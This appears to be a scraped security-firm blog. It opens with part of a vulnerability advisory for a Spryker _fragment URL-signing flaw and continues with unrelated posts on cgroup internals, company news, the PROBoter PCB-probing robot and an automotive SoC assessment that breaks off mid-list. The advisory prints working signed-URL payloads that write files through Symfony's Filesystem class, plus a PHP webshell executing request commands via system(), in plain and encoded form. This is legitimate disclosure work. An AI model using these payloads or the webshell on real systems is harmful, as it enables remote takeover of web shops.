[+] http://www.de.b2b-demo-shop.local/_fragment e3ae11e53f7c3d72da08784b9af763f9
(/data/shop/development/current/vendor/spryker/http/src/Spryker/Shared/Http)
This verification step does not require authentication in the default
configuration. The script generates _fragment URLs based on a provided list of
paths and detects whether the server views these URLs as valid (correctly
signed) or not. This distinction is made based on different observations (e.g.
status code, response content, etc.).
The same script was then executed against the customer's instance:
$ python3 find_secret.py --path-list known_spryker_paths.txt \
[CUSTOMER_DOMAIN]/_fragment
[-] [CUSTOMER_DOMAIN]/_fragment e3ae11e53f7c3d72da08784b9af763f9
[-] [CUSTOMER_DOMAIN]/_fragment faf0d063ad6adf3776d59bc55a17aa5f
[-] [CUSTOMER_DOMAIN]/_fragment 8399015c0dbbf2162983fb7ad0ea6a9a
[-] [CUSTOMER_DOMAIN]/_fragment 8baff412797b1ddd80cd968e7446aa06
[...]
[-] [CUSTOMER_DOMAIN]/_fragment 2c03fc8fac1ff5204b56d4dbf879a3fc
[-] [CUSTOMER_DOMAIN]/_fragment d6de8df0b4ad55b15f198e06142dd0e6
[-] [CUSTOMER_DOMAIN]/_fragment d6de8df0b4ad55b15f198e06142dd0e6
[+] [CUSTOMER_DOMAIN]/_fragment 9c15f40d8e5610e89caf6f9b7a97be3b
(/data/srv/yves/www/vendor/spryker/http/src/Spryker/Shared/Http)
In this case, the identified secret 9c15f40d8e5610e89caf6f9b7a97be3b
corresponds to the path
/data/srv/yves/www/vendor/spryker/http/src/Spryker/Shared/Http.
The installation path of the application can of course vary greatly between
installations. However, if customers use the official Docker guide provided by
Spryker, it is likely that they will use the paths utilized in the examples and
thus share a common installation path.
Even if this is not the case, customers might share installation paths between
multiple environments (development, production). A compromise of one
installation would therefore make a compromise of the other installations
likely.
Signing URLs
^^^^^^^^^^^^
In addition to the secret, a URL must be passed to the HMAC function to form
the signature. However, in both instances of the vulnerability that were
discovered during the assessment, the URL was the same as the external URL.
This might be true for all Commerce OS installations.
With a valid secret and a URL, it is now possible to sign URLs. As shown in the
write up of Ambionics Security, it is generally possible to execute arbitrary
commands using different methods (direct reference of a PHP class/method or
deserialization of PHP objects). However, both approaches did not work, likely
due to code changes made by Spryker to Symfony/Silex.
Generally, the correct syntax for _fragment URLs is the following:
<protocol>://<domain>/_fragment?_path=_controller=<controller specification>&
_hash=<valid URL signature>
Through further analysis, an alternative approach was discovered. Replacing the
value of the URL parameter _path in the listing above allows to specify PHP
classes with certain limitations (decoded and reformatted for increased
readability):
_controller[]=Path\To\Class&
_controller[]=nameOfMethod&
arg1=value
At least the following limitations apply:
* Class must have no initialize function or, alternatively, an initialize
function without arguments
* Class must have an constructor without arguments
While examining the source code for possible candidates, the Symfony class
Filesystem was discovered. This class meets the limitations and allows writing
arbitrary content to a specified file path. The following payload was created
(decoded and reformatted for increased readability):
_controller[]=Symfony\Component\Filesystem\Filesystem&
_controller[]=appendToFile&
filename=SCHUTZWERK.php&
content=TEST
The generated URL is as follows:
http://www.de.b2b-demo-shop.local/_fragment?_path=_controller%255B%255D%3DSymfony%255C
Component%255CFilesystem%255CFilesystem%26_controller%255B%255D%3DappendToFile%26
filename%3D%252Ftmp%252Fschutzwerk.php%26content%3DTEST&
_hash=8Phw5nGDW%2FDgLe%2Fvpep0Exzz%2BIsptnd%2FyOb4G5CT12U%3D
After execution, the content is written to the file:
vagrant@vm-b2b-demo-shop / $ cat /tmp/schutzwerk.php
TEST
With this primitive in place, it is possible to execute arbitrary PHP code and
subsequently commands on an operating system level. To demonstrate this, the
following PHP code for a minimal webshell was appended to the file
/data/shop/development/current/public/Yves/maintenance/maintenance.php in the
development instance:
if(isset($_GET['pass'])){
if($_GET['pass']=="yunn@swervIfUf3"){
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd=($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
}
}
The generated URL is as follows:
http://www.de.b2b-demo-shop.local/_fragment?_path=_controller%255B%255D%3DSymfony%255C
Component%255CFilesystem%255CFilesystem%26_controller%255B%255D%3DappendToFile%26
filename%3D%252Fdata%252Fshop%252Fdevelopment%252Fcurrent%252Fpublic%252FYves%252F
maintenance%252Fmaintenance.php%26content%3Dif%2528isset%2528%2524_GET%255B%2527pass
%2527%255D%2529%2529%257B%250A%2B%2Bif%2528%2524_GET%255B%2527pass%2527%255D%253D%25
3D%2522yunn@swervIfUf3%2522%2529%257B%250A%2B%2B%2B%2Bif%2528isset%2528%2524
_REQUEST%255B%2527cmd%2527%255D%2529%2529%257B%250A%2B%2B%2B%2B%2B%2Becho%2B%2522%253Cpre
%253E%2522%253B%250A%2B%2B%2B%2B%2B%2B%2524cmd%253D%2528%2524_REQUEST%255B%2527cmd%2527
%255D%2529%253B%250A%2B%2B%2B%2B%2B%2Bsystem%2528%2524cmd%2529%253B%250A%2B%2B%2B%2B%2B
%2Becho%2B%2522%253C%252Fpre%253E%2522%253B%250A%2B%2B%2B%2B%2B%2Bdie%253B%250A%2B%2B%2B
%2B%257D%250A%2B%2B%257D%250A%257D&_hash=XAnTzw2Y6hhbyIwO7KQ9qdTHrFMQ%2BUKWrVqRCad6JHE%3D
Afterwards, the file contains the following content:
<?php
[...]
if (file_exists(__DIR__ . '/maintenance.marker')) {
http_response_code(503);
echo file_get_contents(__DIR__ . '/index.html');
exit(0);
}
if(isset($_GET['pass'])){
if($_GET['pass']=="yunn@swervIfUf3"){
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd=($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
}
}
Since the PHP file maintenance.php is consulted for every request, the injected
PHP webshell code can be executed using URLs similar to the following:
http://www.de.b2b-demo-shop.local/?pass=yunn@swervIfUf3&cmd=id
Solution/Mitigation
===================
1. Update spryker/http module to version 1.7.0
2. Configure SPRYKER_ZED_REQUEST_TOKEN environment variable with a long, random
and secure string
Disclosure timeline
===================
2022-04-07: Vulnerability discovered
2022-04-07: Initial contact with vendor
2022-04-08: Vulnerability reported to vendor
2022-04-08: CVE-2022-28888 assigned by MITRE
2022-04-11: Vendor notifies customers about vulnerability, releases patch
2022-04-26: Requested update from vendor
2022-05-05: Requested update from vendor
2022-06-20: Notified vendor of intention to publish advisory on 20220-06-30
2022-06-22: Vendor confirms that customers were notified about the vulnerability
2022-07-12: Advisory published by SCHUTZWERK
Contact/Credits
===============
The vulnerability was discovered during an assessment by David Brown and
Marcelo Reyes of SCHUTZWERK GmbH.
References
==========
[0] https://symfony.com
[1] https://github.com/silexphp/Silex
[2] https://www.ambionics.io/blog/symfony-secret-fragment
[3] https://en.wikipedia.org/wiki/Edge_Side_Includes
[4] https://github.com/symfony/symfony/blob/ac236517cc8925110d2ec9c35cfdb682a7b82f06/src/Symfony/Component/HttpKernel/EventListener/FragmentListener.php
[5] https://github.com/spryker/silexphp/blob/94d2afc9b1ed9662193985cad1ba47da33bdc80d/src/Silex/Provider/HttpFragmentServiceProvider.php#L75
[6] https://github.com/spryker/http/blob/56313eaff6594821849846d1b93e0b7eba9a09b6/src/Spryker/Shared/Http/HttpConfig.php#L29
[7] https://github.com/spryker/spryker-core/blob/88ab823143b5521b4e1bb1b930321ec39eb4ec1e/Bundles/Http/src/Spryker/Shared/Http/HttpConfig.php#L29
[8] https://www.php.net/manual/en/language.constants.magic.php
[9] https://docs.spryker.com/docs/scos/dev/setup/installing-spryker-with-development-virtual-machine/installing-spryker-with-devvm-on-macos-and-linux.html
[10] https://www.schutzwerk.com/en/43/assets/advisories/find_secret.py
Disclaimer
==========
The information provided in this security advisory is provided "as is" and
without warranty of any kind. Details of this security advisory may be updated
in order to provide as accurate information as possible. The most recent
version of this security advisory can be found at SCHUTZWERK GmbH's website
( https://www.schutzwerk.com ).
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmLNeGIACgkQGrXfkTIX
LruPcxAAomwgmFtoqT+gQIPpt7VaCJd8/KeWIH+n9Q4iLfrEk8OJ204/HFxWLFUm
/201fCXbhSSAlzJxbwLAPC4gMYIzO5h4+5YS9Yb3ZreweuBp49WAGnrjjnbEGmQx
auH546XxyUoluh5EEu4x+JZw6ZVdIS6RctrtJpUfjNlqFrEbe7a94G7Q03vFD0QB
u7ek5R1S62J80KYfiIFfl+SmQ7dsFn8pTZzczW5oodEZCpLkvySgBTtVVsgM4ufI
BSFB5AF5C3/hhLIbVPE9UPGDKWlRueismFTiGjrZNQGwX3oqysJmqCRha/0j/pn5
bLoFmcwYpC0L72QO6RVany5jIeSUoN3ajhq4RDRw59BAOW50a/BHtsnuUxQkh1uy
nd0OmuhqJA5pV26qupR6i3J7Mq/5KTJhiptfwTql2FxkLPtAly7fJX+3P8CmSiLa
6gWmkaU/s8KtY49mMa1wVhWchT7wicIGVf17u9RbkUnaf4DyBQlNOSiNRVI6v+OZ
tQ9wQkau9OrXAXNX/zHdtAJePJ5i2FvvFlID+snBVeoU7NnC5miKgD+rQPRY8DJM
VySotql/FKCavxFb7AsDx3TmSIsGG0YeRUGYTj90Poe0cfbnORsIeBqo4Xe2D6Ov
Gt5gyU8Gdy118ggyUIMG6ctCCMJFQerbDucSQuvVVj8XonvCFHE=
=Dbxz
-----END PGP SIGNATURE-----

Linux Container Primitives: cgroup Kernel View and Usage in Containerization

Philipp Schmied — Tue, 28 Jun 2022 08:56:10 +0100

Disclaimer: The elaboration associated to this subject results from a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

The previous post of the Linux Container Primitives series explains the internals of the cgroup kernel primitive. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.

An Introduction to Linux Containers
Linux Capabilities
An Introduction to Namespaces
The Mount Namespace and a Description of a Related Information Leak in Docker
The PID and Network Namespaces
The User Namespace
Namespaces Kernel View and Usage in Containerization
An Introduction to Control Groups
The Network and Block I/O Controllers
The Memory, CPU, Freezer and Device Controllers
Control Groups Kernel View and Usage in Containerization

cgroup Kernel View

In the kernel source code, control groups are represented by the cgroup structure defined in linux/cgroup-defs.h. Every cgroup includes a unique ID, starting from the value 1, always using the smallest value possible. When applying changes to the control group hierarchy, checks have to be performed on a regular basis to determine whether a group is a descendant of another group. To avoid the requirement to traverse in the control group tree, an integer value level is present to solve this problem using numerical comparisons.

The logic to initialize a control group is implemented in cgroup_init (kernel/cgroup/cgroup.c):

[...]
BUG_ON(cgroup_setup_root(&cgrp_dfl_root, 0, 0));
[...]
for_each_subsys(ss, ssid) {
[...]
cgroup_init_subsys(ss, false);
[...]
css_populate_dir(init_css_set.subsys[ssid]);
[...]
}
[...]
WARN_ON(sysfs_create_mount_point(fs_kobj, "cgroup"));
WARN_ON(register_filesystem(&cgroup_fs_type));
WARN_ON(register_filesystem(&cgroup2_fs_type));
WARN_ON(!proc_create_single("cgroups", 0, NULL,
proc_cgroupstats_show));
[...]

The function cgroup_setup_root initially sets up the control group root which is represented by a cgroup_root structure. Internally this includes the cgroup structure discussed above. The setup routine is also responsible for creating the kernfs - the virtual filesystem exporting the files residing in /sys/fs/cgroup. After that, all control group subsystems are being enabled. With init_and_link_css called in cgroup_init_subsys, pointers to the respective children, siblings and parent nodes are created. The abbreviation css stands for cgroup subsystem state in this context and is being used to map a specific thread to a set of control groups [1]. The function css_populate_dir creates a virtual filesystem for each controller in the kernfs created before. Finally, the kernfs is mounted in sysfs_create_mount_point. For each control group version a filesystem is registered and the virtual /proc/cgroups file is being created.

There exists a global array of all subsystems, called cgroup_subsys which is defined using an include directive for cgroup_subsys.h as can be seen below. This is the file holding all available controllers supported by the kernel.

structure cgroup_subsys *cgroup_subsys[] = {
#include <linux/cgroup_subsys.h>
};

The controllers are implemented using another kernel structure: cgroup_subsys. This structure provides a common interface for all implemented resource controllers. Another common interface for all subsystems is the cftype_ss structure which enables all controllers to define own virtual files to export data. For example the cpuset controller exports these files [2]:

Control Group Exports

Similar to the implementation of namespaces in the kernel, the task_struct structure also holds information regarding control groups [2]:

Control Group Structures

As can be observed in the figure above, the css_set structure associates a set of control group subsystems to a task. Every task with the same cgroup subsystem set has a pointer to the same css_set. This is being used to save space in the task structure which effectively speeds up fork calls.

Internally there’s a MxN relationship between cgroups and css_sets. To link the kernel structures efficiently, the following link structure is in place:

Control Group Structure Links

For each process, there exists exactly one leader thread whose thread ID is equal to the PID of the whole process. It’s possible that a css_set is being linked to multiple control groups because every single task can be present in various cgroups. For this reason and to be able to traverse the link structure the other way around, beginning from a cgroup, the linking structure cgrp_cset_link associates both kernel structures. The labels of the arrows are to be interpreted as UML associations. As shown above, there also exist multiple shortcuts in the structure linkage to allow an efficient direct access to associated structures without having to traverse multiple lists. For example the link from css_set to cgroup bypasses the linking structure in between.

Usage in Containerization

Container engines like LXC and Docker support the configuration on control group settings. Similar to the configuration of namespaces, it’s possible to supply command line parameters to the Docker CLI while configuration files are being used for LXC.

When starting a Docker container without any additional control group configuration, a docker group is created for each controller type mentioned in this chapter using permissive default values. Additional configuration can then be applied after starting a container using the mechanisms that have already been discussed. Furthermore the command line options allow cgroup configuration without the requirement of interacting with the virtual control group filesystem. For example, the amount of CPUs a container may use is being configured by passing a numerical value along with the --cpus option. Another convenient feature is the ability to integrate a container into an existing parent control group. Therefore control groups are able to be prepared in order to use it as parent group for a container later on. With the ability to use persistent cgroups, containers can be restricted in an automated way upon booting a machine by assigning a parent control group.

Credits

Credits: The elaboration and software project associated to this subject are results of a Master’s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.

References

1 - Control groups, part 6: A look under the hood
2 - Linux Containers: Basic Concepts
Title Image

SCHUTZWERK holds a talk about phishing attacks at the 10. Ulmer Logistiktag

SCHUTZWERK GmbH — Fri, 20 May 2022 13:00:00 +0100

Christoph Wolfert, Managing Consultant at SCHUTZWERK GmbH, was a guest at the 10. Ulmer Logistiktag on 12th of May 2022 to give insights to the topic of phishing attacks and the threats for (logistics) companies.

Phishing attacks are omnipresent and currently one of the most spread variants to attack companies. Also logistics companies are affected. Due to their strong dependency on IT (e. g. in the field of warehouse management, dispatching and transport) phishing attacks are always on the agenda.

Christoph Wolfert focused within his talk on so called spear phishing attacks via email. In this attack variant the victims are targeted, in contrast to a spread attack. Based on a successful attack, the IT-System of the victim is mostly used as a so called jump host to execute further attacks.

Primary objective of the attackers is e. g. to gain access on sensitive company related data or to encrypt data in order to extort ransom money (Ransomware).

Besides an example demo of a spear phishing attack via email, the participants also got important recommendations how to protect against these kind of attacks.

Within the following Q&A session and the lunch break, there was enough time to exchange on Information-, IT- and cyber security topics.

Further information are available on the IHK website .

BSides Munich onsite again

SCHUTZWERK GmbH — Sun, 08 May 2022 13:00:00 +0100

On May 15, 2022, BSides Munich will start with workshops, followed by interesting talks the next day! After during the last two years all onsite events either had to be cancelled, were only feasible under difficult conditions or were planned virtually, we SCHUTZWERKers are happy that this year a bit of normality has returned. As a bronze sponsor, we are therefore happy to support BSides Munich , which will once again be held as an onsite conference in Munich!

We are looking forward to both days and wish all participants a lot of fun!

SCHUTZWERK gives an interview for the newspaper regarding the data leakage at Legoland

SCHUTZWERK GmbH — Fri, 15 Apr 2022 13:00:00 +0100

SCHUTZWERK answers important questions for Südwestpresse (SWP) newspaper regarding the data leakage at Legoland with thousands of affected customers.

On 12th of April 2022 it was published (see the announcement of the heise-online-Redaktion ), that for half a year the booking history of every customer was accessible, caused by the introduction of a new booking system. The booking system was turned off and the Data Protection Authority was informed, but important questions remain unanswered. Christoph Wolfert, Managing Consultant and Date Protection Officer at SCHUTZWERK GmbH, clarifies within the Südwestpresse (SWP) interview the most important questions.

Link to the Interview of the online version (readable for swp+ customers)

The shortened interview has also been published in the print version of Saturday, April 16th, 2022 on page 25.

SecForCARs Demo Video of our PROBoter released

Dr. Bastian Könings — Wed, 02 Feb 2022 14:05:00 +0100

The PROBoter is a modular, self-calibrating probing machine to support PCB analysis tasks in penetration tests of embedded systems. The video of the PROBoter demonstrates its four main contributions: 1) The automatic visual detection of components and contact points on a PCB, 2) the automatic probing of contact points for net reversing and signal detection, 3) the mapping of signal lines to given bus protocols, and 4) the support in identification of potential attack vectors.

The list below gives an overview of the topics covered in the PROBoter blog post series. Links will be updated as soon as the corresponding parts are being released.

Part I: A platform for automated PCB analysis
Part II: The PROBoter hardware platform
Part III: Visual PCB analysis with Neural Networks and classic Computer Vision algorithms
Part IV: Automated voltage signal analysis and protocol identification
Part V: The PROBoter software framework

Typically, the security analysis requires manual probing of pins or other contact pads on the printed circuit boards (PCBs) followed by the attempt to identify signals and respective bus protocols. To increase the efficiency of this hardware analysis and further reduce error-proneness of manual probing steps, we introduce the PROBoter (PROBing roboter) as a novel open-source and self-calibrating architecture for automated PCB analysis as part of a penetration test.

The PROBoter consists of four independently moving probes assisted by a camera for the detection of pins and contact pads, and an oscilloscope for signal measurement. Several algorithms allow the automatic probing of voltages at detected pins and contact pads, and subsequently try to identify existing bus protocols.

We evaluated the feasibility of our approach using different PCBs and a self-designed test board for signal generation. Our evaluation shows that the PROBoter can detect and probe respective parts of a PCB with high accuracy and can successfully identify selected bus protocols. Our novel approach provides a significant contribution to the field of PCB analysis by automating manual work and thus increasing the efficiency of penetration tests of embedded systems such as automotive ECUs.

This video is part of the SecForCARs project’s demo video series. Videos about other parts of the project can be found on the SecForCARs YouTube channel.

For further details, please see:

PROBoter blog post series
PROBoter Github repo: https://github.com/schutzwerk/PROBoter
PROBoter paper: https://doi.org/10.13154/294-8348
SecForCARs website: https://www.secforcars.de

The PROBoter hardware platform

Fabian Weber — Wed, 02 Feb 2022 13:37:00 +0100

The list below gives an overview of the topics covered in this blog post series. Links will be updated as soon as the corresponding parts are being released.

PROBoter demo video
Part I: A platform for automated PCB analysis
Part II: The PROBoter hardware platform
Part III: Visual PCB analysis with Neural Networks and classic Computer Vision algorithms
Part IV: Automated voltage signal analysis and protocol identification
Part V: The PROBoter software framework

The first part of the PROBoter series gave an introduction to the manual process of embedded system pentesting . It then showed a possible automated workflow which will be implemented in the form of the PROBoter platform. After a longer phase of further internal development and evaluation, this post describes the core component of the PROBoter framework - a hardware platform for automated electrical probing and PCB image generation. The following list summarizes the key features of the PROBoter hardware platform:

Four autonomous, movable electrical probing units with a positional accuracy in the PCB plane of 0.1 mm
Working area of the electrical probing units of 300 x 200 x 30 mm (XYZ)
A static camera system for initial PCB triage
A movable camera system to generate stitched, high-resolution PCB images with a resolution of 0.1 mm per pixel
A newly designed signal multiplexer board that allows flexible signal routing, basic measurements like continuity tests and easy adaption of additional measurement and analysis equipment
An auto-calibration routine that can compensate typical errors resulting from manufacturing or assembling errors
Open source design. The 3D construction data of the platform can be found in the PROBoter Github repository: https://github.com/schutzwerk/PROBoter/

A Flying Probe Tester for Pentesters

The design of the PROBoter hardware platform is inspired by commercial Flying Probe Testers (FPT). These types of machines are used since the 1980s by PCB manufacturers to ensure the proper functionality of their products at the end of the production line. FPTs are equipped with many, typically up to 8, moving electrical probes which can be freely placed on the PCB under test. The probe movements can be programmed so that the testing routine can be easily adjusted if the board layout changes.

FPTs are highly optimized for accuracy and testing speed. They use high-speed drives to move the electrical probes in combination with high-precision absolute positioning systems to ensure high positional accuracy. To also allow visual board inspection, for example to detect missing or misplaced parts, FPTs are usually equipped with at least one camera system. The price for such machines typically starts at multiple 10k€ and can go up to several 100k€ depending on the ordered machine configuration. Most vendors of FPTs also provide the software to program and control these machines. The software is mostly closed source and extensions can only be provided by or be developed in cooperation with the manufacturer.

In contrast to commercial FPTs, the developed PROBoter hardware platform is completely open source. The construction data and 3D models can be found in the PROBoter Github repository [1]. The mechanical construction was designed from scratch and is based on standard parts that are widely used in state of the art 3D printers. Customized, highly integrated and complex parts are laid out as 3D printable plastic parts. These concepts lead to reduced manufacturing costs and make the replication of the platform affordable for a wide audience. In total, the raw material costs of our assembled prototype of the PROBoter hardware platform added up to around 5000€.

Design

One of the key concept of the PROBoter hardware platform is modularity. The platform can carry up to four probing units which can be added to the platform individually. Therefore, it is possible to start with a minimal setup with only two probes to perform basic tasks like reverse engineering of electrical nets and later add more probes to automate more complex tasks like I2C or SPI bus sniffing with up to four probes.

The following image shows a 3D rendering of the current platform design fully equipped with four electrical probing units. As main camera system the current design uses a USB microscope that is attached to one of the four probing units. In addition, a stationary high-resolution camera is mounted at the top of the platform. The individual components will be described in more detail in the following subsections.

PROBoter hardware rendering

To perform real world tests and evaluations, a prototype of the hardware platform has been built. The image below shows this prototype currently located in our headquarter in Ulm, Germany. If you want to see the prototype in action, check out our PROBoter demo video. The video is part of the SecForCARs project’s demo video series, videos about other parts of the project can be found on the SecForCARs YouTube channel [2].

Prototype of the PROBoter hardware platform

Base

The base of the PROBoter hardware platform is a frame built of aluminum profiles. It carries a drawer that allows the comfortable placement of the PCB under test outside the machine. At the top, two laser-cut steel plates together with two 60 x 30 mm aluminum profiles form a frame that carries the linear guiding rails for the X axis slides. The X axis uses a profile rail guide which is shared between all probing units. It is driven by stepper motors and a synchronous belt in a Gantry setup. This means that each X axis is moved by two synchronized motors.

Electrical Probing Unit

The PROBoter platform is designed to carry up to four electrical probes. Each probe is carried by a probing unit that is driven by three linear drives. The drives are stacked orthogonally to allow a full 3-dimensional movement of the probe. The image below shows the construction and individual parts of a single probing unit.

Movable electrical probing unit

Each unit has a probing volume of 300 x 200 x 30 mm (XYZ) which allows probing of common PCBs. The units are designed so that even if all four probing units are installed, it is possible in theory to position all probes at the same point at the PCB. In the current setup, synchronous belt drives in combination with NEMA 14 and 17 stepper motors are used in all axes. The mechanical transmission of the whole drive system allows an absolute positional accuracy of less than 0.1 mm. This allows probing of TQFP-packaged PCB components with a typical grid size of 0.5 mm and a pad width of 0.17 mm. The X and Y axis can be moved with a speed of max. 100 mm/s or 6 m/min in theory which allows rapid movements and sufficient probing speed.

When started, each axis of a probing unit is homed first. Homing defines the process of moving each axis to a defined position at one of its traveling limits. From there on, the current position in each axis is calculated as the number of moved motor steps multiplied by the mechanical transmission defined by the intermediate drive components. Currently, no further sensors are used to track the axes positions to reduce component costs. An ongoing evaluation phase will show if this open loop control is sufficient to place the probes with the necessary positional accuracy even in long term use.

Camera Systems

Besides the electrical probe, each probing unit can be equipped with a camera system. The camera can then be moved in the XY plane together with the probe. In the current setup, a USB microscope is attached to only one of the inner probing units. This setup allows the generation of high-resolution PCB image data with an absolute pixel resolution of approximately 0.1 mm per pixel which is the same as the accuracy in the probing unit’s drive systems. The high-resolution image generation with the used USB microscope comes with the costs of a limited field of view. To generate a complete image of the PCB under test, the camera system is moved along a predefined path constantly capturing images. From the resulting image data set, the final image can be reconstructed by applying a final image stitching operation. The image below shows the result of this stitching operation for an unpopulated test PCB.

Stitched PCB image generated with the movable camera system

An additional static camera system is mounted at the top of the hardware platform. It can be used for initial triage of the PCB under test. Because the field of view of this camera system covers the whole probing area, the generated images are free of stitching artifacts. However, the absolute mm per pixel resolution is limited. Therefore, for macro views the USB microscope is the preferred image source.

To reduce shadows in the generated PCB images, the platform provides a uniform and diffuse light source through a white LED strip that illuminates the working area.

Signal Multiplexer Board

Even though the electrical probing units can be freely moved in 3D space, there are some movement constraints in the X axis. Because of the shared X guiding system, the probe order is fixed in this direction. Due to this limitation, analysis tools like digital oscilloscopes or other common tools used for embedded system penetration testing like UART to USB adapters or a JTAGulator [3], are not directly connected to the probe signal lines. Instead, these tools are connected to a signal multiplexer board developed at SCHUTZWERK. This board allows flexible routing of signals from the electrical probes to a set of analog or digital outputs. The signal multiplexer can be controlled manually or automated via a text-based control interface exposed over a serial interface.

In addition to signal routing, the board also offers digital to analog conversion functionality. Basic tests like continuity tests can also be performed between two arbitrary signal lines. Therefore, even without additional tools, the PROBoter hardware platform can be used to perform typical time-consuming tasks like electrical net reverse engineering.

Control Logic

The movements of a single electrical probing unit is controlled by a modified version of the open source 3D printer firmware Marlin [4] running on a 3D printer controller board. In our prototype, we used a BigTreeTech SKRv1.3 board [5] for this purpose. Marlin comes with integrated motion control logic and support for dual-motor Gantry setups like the one used for the X axis drives. The firmware is also portable and supports a wide range of microcontrollers and 3D printer controller boards. Movement commands are sent to the controller board as G-codes [6] over a serial interface.

The controller boards are orchestrated by a high-level service implemented in Python. It exposes low-level movement and configuration commands, as well as high-level commands e.g. for PCB image generation via a REST-like web interface. This allows fast and easy integration of the PROBoter hardware platform’s analysis and probing functionality into customized tools or penetration testing workflows. At the moment, a major software refactoring of the PROBoter’s software components is still ongoing. After this process is finished, the source code of the modified Marlin firmware and the Python-based high-level hardware control service will be published on Github.

Calibration

One goal during the design of the PROBoter hardware platform was to facilitate the creation of replica. Therefore, even unskilled or people with little knowledge about mechanical engineering should be able to assemble the platform without special measurement or calibration equipment. Therefore, to compensate most of the errors typically induced during part manufacturing or the later assembly process, the PROBoter platform also features an auto-calibration routine.

For this calibration, a common global Cartesian coordinate system for both, the electrical probing units and the camera systems is introduced. This coordinate system is defined by a 3D printed reference board which is shown in the image below. The corpus of the board consists of a 3D printed part. The yellow-brownish circles represent embedded metallic cylinders made out of brass. The center of each cylinder visible from the top of the board, acts as a reference point in the common coordinate system with well-known absolute coordinates. During the calibration process, these reference points are determined in each unit’s local coordinate system. In the next step, a transformation matrix is calculated that describes the transition from the local to the common global system and vice versa based on the generated point mappings. By concatenating these transformation matrices, coordinates from any unit’s local system can be transformed either in the common global or any other unit’s local system.

3D rendering of the reference board used for the auto-calibration process

For the electrical probing units, the centers of the metallic cylinders are calculated from four determined points on the cylinder edge. During the calibration process, the probe is connected to a pull-up output and the metallic reference cylinders are connected to ground. A point inside the cylinder is than defined as all locations where the probe’s level is pulled down to ground. Once positioned manually inside one of the reference cylinder’s area, the calibration routine automatically probes six points on the cylinder edge in a cross-like shaped path as can be seen in the illustration below. This scheme is used to maximize the distance between the measurement locations and reduce errors induced by position inaccuracies in the locations of the individual test points. A reference cylinder’s center is finally calculated by performing a circle fit operation using the previously determined edge points. The described steps are repeated for the inner 8 or all 12 reference cylinders.

Probing unit calibration process

The calibration routines for both, the movable and static camera systems, identify the reference cylinders in a camera image based on the color difference between the reference board corpus and the reference pins. In the image below, the strong contrast in the color of the black reference board and the yellow-brownish brass reference pins is highlighted (left picture). A simple color-based segmentation is used to extract the reference cylinder areas in a camera image (middle picture). The individual reference cylinders are than identified based on their characteristic diameters (right picture). Again, a circle fit operation is used for the final calculation of the reference cylinder centers.

Camera calibration process

Our evaluation showed that the auto-calibration routine of the PROBoter can compensate most of the mechanical errors. The resulting accuracy in a real world scenario where a user selects a point in an image generated with one of the camera systems and then positioning an electrical probe at this defined location, is in the range of 0.1-0.2 mm. It is therefore sufficient to probe test pads or pins of component packages typically found in an embedded system penetration test. You can find more information about our evaluation methodology and results in our PROBoter paper [7].

The next part will show how well-established Neuronal Networks can be used to automate the initial visual analysis of an unknown PCB. As a result, possible interesting components like microcontrollers and memory chips are labeled and the coordinates of the pins that connect these component to the underlying PCBs are located. So stay tuned :)

Follow us on Twitter , LinkedIn , Xing to stay up-to-date.

References / Credits

[1] PROBoter GitHub repository

[2] SecForCARs YouTube Channel

[3] http://www.grandideastudio.com/jtagulator/

[4] https://github.com/MarlinFirmware/Marlin

[5] https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/tree/master/BTT%20SKR%20V1.3

[6] https://marlinfw.org/meta/gcode/

[7] PROBoter paper

[8] PROBoter demo video

This work was sponsored by the BMBF project SecForCARs . We also want to thank igus GmbH for their support and providing hardware samples. The project was created at SCHUTZWERK GmbH (supervisors Dr. Bastian Könings & Msc. Heiko Ehret) in cooperation with Hochschule Kempten (examiners Prof. Dr. Elmar Böhler & Prof. Dr. rer. nat Stefan Frenz).

Embedded Security Assessment of a TeleChips SoC

Dr. Bastian Könings — Wed, 19 Jan 2022 09:00:00 +0100

A System-on-a-Chip (SoC) is regularly used in the automotive domain to build electronic control units (ECUs) with high demands on different functionalities and computation power. TeleChips, as a leading supplier of SoC components for automotive In-Vehicle Infotainment and cockpit solutions, chose SCHUTZWERK as an independent and experienced provider for automotive and embedded security assessments to analyze their new SoC series TCC803x (Dolphin+). This success story summarizes the approach and results of the comprehensive security assessment.

The Customer

TeleChips is a leading supplier of System-on-Chip (SoC) components for automotive In-Vehicle Infotainment and cockpit solutions. Besides automotive solutions, TeleChips also develops SoC products for Smart Home environments. Their SoC solutions are based on the Arm architecture and support different operating systems, such as Android, Linux, Windows Embedded Compact, AUTOSAR, freeRTOS, or QNX.

The Challenge

TeleChips takes these requirements very serious, and therefore follows a security-by-design process in order to integrate security mechanisms early in the design phase of a SoC product. These security mechanisms should guarantee the integrity of data and functions, the confidentiality of customer data and intellectual property, and also protect against safety risks. While comprehensive security concepts and mature development processes are essential to effectively integrate security mechanisms in final products, it is also vital to test and technically assess the final solution from the perspective of attackers. According to the ISO 21434 standard, these assessments, also referred to as penetration tests, are now mandatory for automotive ECUs.

Therefore, in addition to their in-house security activities, TeleChips sought to further improve the security of their new TCC803x series chips (Dolphin+) through a comprehensive security assessment. TeleChips chose SCHUTZWERK as an independent and experienced provider for automotive and embedded security assessments to analyze their security measures and conduct this assessment.

The Project

The TCC803x SoC (as shown in the following figure) is based on an Arm Cortex-A53 Quad core (or Dual core) and Arm Cortex-A7 core designed especially for automotive infotainment, cluster, and cockpit systems. The SoC provides 2D/3D graphic engines, supports multi-display and multi-channel camera input, and can be run with a custom operating system such as Android or Linux.

TCC803x architecture

The SoC is protected by several security features like a Hardware security module (HSM), Secure Boot and a One Time Programmable (OTP) memory. For the overall security of the real-time operating system, the secure implementation of a random number generator, of timers and the RTC as well as the protection of the Boot-ROM are also essential.

When presented with this challenge our embedded security team started by performing a comprehensive analysis of the SoC security measures and corresponding threats. The main threats we considered were:

Direct bypassing of security mechanisms
Unauthorized access to stored secrets and keys
Unauthorized access to the secure world from the user world (privilege escalation)
Manipulation of configuration
